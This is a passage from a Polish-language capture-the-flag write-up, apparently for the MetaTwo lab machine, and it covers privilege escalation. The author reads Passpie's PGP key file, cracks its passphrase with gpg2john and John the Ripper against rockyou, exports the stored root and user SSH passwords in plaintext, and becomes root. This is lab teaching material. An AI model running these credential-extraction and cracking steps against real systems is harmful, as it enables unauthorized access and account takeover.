│ ssh    │ jnelson │ ********   │           │
├────────┼─────────┼────────────┼───────────┤
│ ssh    │ root    │ ********   │           │
╘════════╧═════════╧════════════╧═══════════╛

Aby jednak dostać się do nich musimy znać passphrase:

jnelson@meta2:~/.passpie$ passpie export finalpass
Passphrase:

Przyglądając się zawartości plików .pass z folderu .passpie/ssh/, czyli plikom gdzie faktycznie znajdują się hasła, dowiadujemy się, że są one zaszyfrowane gpg:

jnelson@meta2:~/.passpie/ssh$ cat root.pass 
comment: ''
fullname: root@ssh
login: root
modified: 2022-06-26 08:58:15.621572
name: ssh
password: '-----BEGIN PGP MESSAGE-----


  hQEOA6I+wl+LXYMaEAP/T8AlYP9z05SEST+Wjz7+IB92uDPM1RktAsVoBtd3jhr2

  nAfK00HJ/hMzSrm4hDd8JyoLZsEGYphvuKBfLUFSxFY2rjW0R3ggZoaI1lwiy/Km

  yG2DF3W+jy8qdzqhIK/15zX5RUOA5MGmRjuxdco/0xWvmfzwRq9HgDxOJ7q1J2ED

  /2GI+i+Gl+Hp4LKHLv5mMmH5TZyKbgbOL6TtKfwyxRcZk8K2xl96c3ZGknZ4a0Gf

  iMuXooTuFeyHd9aRnNHRV9AQB2Vlg8agp3tbUV+8y7szGHkEqFghOU18TeEDfdRg

  krndoGVhaMNm1OFek5i1bSsET/L4p4yqIwNODldTh7iB0ksB/8PHPURMNuGqmeKw

  mboS7xLImNIVyRLwV80T0HQ+LegRXn1jNnx6XIjOZRo08kiqzV2NaGGlpOlNr3Sr

  lpF0RatbxQGWBks5F3o=

  =uh1B

  -----END PGP MESSAGE-----

  '

Dużo ciekawszy jest jednak plik .keys, gdzie znajduje się klucz prywatny i publiczny używany przez passpie do szyfrowania haseł:

jnelson@meta2:~/.passpie$ cat .keys

-----BEGIN PGP PUBLIC KEY BLOCK-----

mQSuBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
...[snip]...
-----END PGP PUBLIC KEY BLOCK-----
-----BEGIN PGP PRIVATE KEY BLOCK-----

lQUBBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
...[snip]...
-----END PGP PRIVATE KEY BLOCK-----
   

John The Ripper

Plan działania jest więc następujący: wykorzystamy narzędzie john the ripper by próbować złamać klucz prywatny z pliku .keys (niestety hashcat nie radzi sobie z gpg, dlatego tym razem nie jest on naszym pierwszym wyborem).

W tym celu pobieramy plik .keys na własną maszynę, usuwamy z niego klucz publiczny, a następnie pozostałą zawartość (klucz prywatny) przepuszczamy przez pgp2john by uzyskać format zrozumiały dla john the rippera:

rvr@rvr$ gpg2john metapress_priv.keys > metapress_priv.john

Dalej uruchamiamy właściwego johna ze słownikiem rockyou.txt:

rvr@rvr$ john --wordlist=/usr/share/wordlists/rockyou.txt metapress_priv.john 
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
No password hashes left to crack (see FAQ)

Otrzymujemy:

rvr@rvr$ john --show metapress_priv.john
Passpie:blink182:::Passpie (Auto-generated by Passpie) <passpie@local>::metapress_priv.keys

1 password hash cracked, 0 left

Passphrase został odzyskany. Możemy teraz wyeksportować hasła z passpie podając blink182 jako passphrase. Otrzymujemy:

jnelson@meta2:~$ passpie export pwds
Passphrase: 
jnelson@meta2:~$ cat pwds
credentials:
- comment: ''
  fullname: root@ssh
  login: root
  modified: 2022-06-26 08:58:15.621572
  name: ssh
  password: !!python/unicode 'p7qfAZt4_A1xo_0x'
- comment: ''
  fullname: jnelson@ssh
  login: jnelson
  modified: 2022-06-26 08:58:15.514422
  name: ssh
  password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
handler: passpie
version: 1.0

Następnie logujemy się na konto root:

jnelson@meta2:~$ su - root
Password: 
root@meta2:~# id
uid=0(root) gid=0(root) groups=0(root)

I wreszcie odczytujemy flagę:

root@meta2:~# cat root.txt 
6b78ad631***********************
© 2023, Code by ravr & powered by Gatsby